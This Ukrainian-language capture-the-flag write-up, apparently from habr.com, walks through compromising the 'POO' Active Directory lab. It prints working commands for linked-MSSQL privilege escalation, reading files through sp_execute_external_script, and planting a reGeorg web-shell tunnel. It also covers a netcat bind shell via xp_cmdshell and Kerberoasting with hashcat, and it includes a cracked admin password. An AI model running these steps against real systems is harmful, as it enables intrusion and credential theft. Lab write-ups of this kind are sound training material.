У цій статті розберемо проходження не просто машини, а цілої міні-лабораторії з майданчика
Як сказано в описі, POO призначений для перевірки навичок на всіх стадіях атак у невеликому середовищі Active Directory. Мета полягає в тому, щоб скомпрометувати доступний хост, підвищити привілеї і зрештою скомпрометувати весь домен, зібравши при цьому 5 прапорів.
Підключення до лабораторії здійснюється через VPN. Рекомендується не підключатися з робочого комп'ютера або з хоста, де є важливі для вас дані, тому що Ви потрапляєте в приватну мережу з людьми, які щось вміють в області ІБ 🙂
Організаційна інформація
Щоб ви могли дізнаватися про нові статті, програмне забезпечення та іншу інформацію, я створив
Вся інформація представлена виключно з освітньою метою. Автор цього документа не несе жодної відповідальності за будь-які збитки, заподіяні будь-кому в результаті використання знань і методів, отриманих в результаті вивчення цього документа.
Введення
Цей endgame складається з двох машин і містить 5 прапорів.
Так само дається опис та адреса доступного хоста.
Почнемо!
Recon flag
Ця машина має IP адресу 10.13.38.11, яку я додаю в /etc/hosts.
10.13.38.11 poo.htb
Насамперед скануємо відкриті порти. Оскільки сканувати всі порти nmap'ом довго, то спочатку зроблю це з допомогою masscan. Ми скануємо всі TCP та UDP порти з інтерфейсу tun0 зі швидкістю 500 пакетів на секунду.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Тепер для отримання більш детальної інформації про послуги, що працюють на портах, запустимо сканування з опцією -А.
nmap -A poo.htb -p80,1433
Таким чином, ми маємо служби IIS та MSSQL. При цьому ми дізнаємося про реальне DNS ім'я домену та комп'ютера. На веб-сервері нас зустрічає домашня сторінка IIS.
Давайте переберемо директорії. Я для цього використовую gobuster. У параметрах вказуємо кількість потоків 128 (-t), URL (-u), словник (-w) та розширення, які нас цікавлять (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Таким чином, ми маємо HTTP автентифікацію для директорії /admin, а також доступний файл сховища служби робочого столу .DS_Store. .DS_Store — це файли, в яких зберігаються налаштування для папки, такі як список файлів, розташування піктограм, вибране фонове зображення. Такий файл може потрапляти в каталог веб-сервера у веб-розробників. Таким чином, ми отримати інформацію про вміст каталогу. Для цього можна використати
python3 dsstore_crawler.py -i http://poo.htb/
Ми отримуємо вміст каталогу. Найцікавіше тут - це каталог /dev, з якого ми в двох гілках можемо подивитися вихідні файли db. Але ми можемо перші 6 символів імені файлів та директорій, якщо сервіс уразливий до IIS ShortName. Перевірити наявність цієї вразливості можна за допомогою
І ходимо один текстовий файл, який починається з «poo_co». Не знаючи, що робити далі, я просто вибрав зі словника директорій усі слова, що починаються на «co».
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
І переберемо за допомогою wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
І знаходимо відповідне слово! Дивимося цей файл, зберігаємо облікові дані (судячи з параметру DBNAME, вони від MSSQL).
Здаємо прапор, і ми просуваємось на 20%.
Huh flag
Підключаємось до MSSQL, я використовую DBeaver.
Нічого цікавого в цій базі не знаходимо, давайте створимо редактор SQL і перевіримо, які є користувачі.
SELECT name FROM master..syslogins;
У нас два користувачі. Давайте перевіримо свої привілеї.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Таким чином, привілеїв немає. Давайте подивимося пов'язані сервери, про цю методику я докладно писав
SELECT * FROM master..sysservers;
Так ми бачимо ще один SQL Server. Перевіримо виконання команд на цьому сервері за допомогою openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
І ми можемо навіть вибудовувати дерево запитів.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Справа в тому, що коли ми виконуємо запит на зв'язаний сервер, запит виконується в контексті іншого користувача! Давайте подивимося, в контексті якого ми працюємо на зв'язаному сервері.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
А тепер подивимося у якому контексті виконуються запит із зв'язаного сервера на наш!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Таким чином, це контекст DBO, який повинен мати всі привілеї. Давайте перевіримо привілеї у разі запиту із зв'язаного сервера.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Як можна побачити, у нас є всі привілеї! Давайте так створимо свого адміна. Але через Openquery не пускають, давайте зробимо це через EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
І тепер підключаємось з обліковими даними нового користувача, спостерігаємо нову базу даних flag.
Здаємо цей прапор і йдемо далі.
BackTrack flag
Отримаємо шелл за допомогою MSSQL, я використовую mssqlclient з impacket пакет.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Нам потрібно роздобути паролі, і перше, що ми вже зустрічали, це сайт. Таким чином нам потрібен конфіг веб-сервера (кинути зручний шелл не виходить, мабуть працює firewall).
Але доступ заборонено. Хоча ми можемо прочитати файл із MSSQL, потрібно лише знати які мови програмування налаштовані. І в директорії MSSQL дізнаємось, що є Python.
Тоді прочитати файл web.config немає жодних проблем.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Зі знайденими обліковими даними зайдемо на /admin і забираємо прапор.
Foothold flag
Насправді від використання брандмауера є деякі незручності, але переглядаючи налаштування мережі, помічаємо, що також використовується прокол IPv6!
Додамо цю адресу в /etc/hosts.
dead:babe::1001 poo6.htb
Давайте знову проскануємо хост, але вже за протоколом IPv6.
І IPv6 доступна служба WinRM. Підключимося зі знайденими обліковими даними.
На робочому столі є прапор, здаємо його.
P00ned flag
Провівши розвідку на хості за допомогою
setspn.exe -T intranet.poo -Q */*
Давайте виконаємо команду через MSSQL.
Вказаним способом ми отримуємо SPN користувачів p00_hr і p00_adm, а це означає, що вони вразливі до такої атаки, як Kerberoasting. Якщо коротко, то ми можемо отримати хеші їхніх паролів.
Спочатку потрібно отримати стабільний шелл від імені користувача MSSQL. Але так як нас обмежують у доступі, ми маємо зв'язок з хостом тільки через 80 і 1433 порт. Але є можливість тунелювання трафіку через 80 портів! Для цього скористаємося
Але при спробі звернутися до нього отримуємо помилку 404. Це означає, що файли *.aspx не виконуються. Щоб файли з цим розширенням стали виконуватися, встановимо ASP.NET 4.5 в такий спосіб.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
І тепер при зверненні до tunnel.aspx отримуємо відповідь, що все готове до роботи.
Давайте запустимо клієнтську частину програми, яка займатиметься ретранслюванням трафіку. Ми будемо перенаправляти весь трафік з 5432 портів на сервер.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
І використовуємо proxychains, щоб надсилати трафік будь-якої програми через наш проксі. Додамо цей проксі файл конфігурації /etc/proxychains.conf.
Тепер завантажимо на сервер програму
Тепер через MSSQL запускаємо листонер.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
І підключаємось через наш проксі.
proxychains rlwrap nc poo.htb 4321
І давайте отримаємо хеші.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Далі треба перебрати ці хеші. Так як в українській словнику даних паролів не було, то я використовував ВСІ словники passwords, надані в Seclists. Для перебору використовуємо hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
І знаходимо обидва паролі, перший у словнику dutch_passwordlist.txt, а другий у Keyboard-Combinations.txt.
І так у нас є три користувача, йдемо на контролер домену. Спочатку дізнаємось його адресу.
Відмінно, ми дізналися IP адресу контролера домену. Давайте дізнаємось всіх користувачів домену, а також хто з них є адміністратором. Щоб завантажити скрипт для отримання інформації PowerView.ps1. Потім підключимося за допомогою evil-winrm, вказавши в параметрі -s директорію зі скриптом. А потім просто завантажимо скрипт PowerView.
Тепер нам доступні всі функції. Користувач p00_adm схожий на привілейованого, тому працюватимемо у його контексті. Створимо об'єкт PSCredential для цього користувача.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Тепер усі команди Powershell, де ми вкажемо Creds, будуть виконані від імені p00_adm. Давайте виведемо список користувачів та атрибут AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
Отже, наш користувач реально є привілейованим. Давайте глянемо, у яких групах він.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Остаточно стверджуємось, що користувач є адміністратором домену. Це дає право віддаленого входу на контролер домену. Спробуємо увійти через WinRM, використовуючи наш тунель. Мене збентежили помилки, що видаються reGeorg'ом під час використання evil-winrm.
Тоді скористаємось іншим, легшим,
Пробуємо підключитись, і ми в системі.
Але прапора нема. Тоді подивися користувачеві та перевіримо робочі столи.
У mr3ks знаходимо прапор та лабораторію пройдено на 100%.
От і все. Як зворотний зв'язок, прокоментуйте — чи ви дізналися щось нове з цієї статті і чи була вона вам корисною.
Ви можете приєднатися до нас у
Джерело: habr.com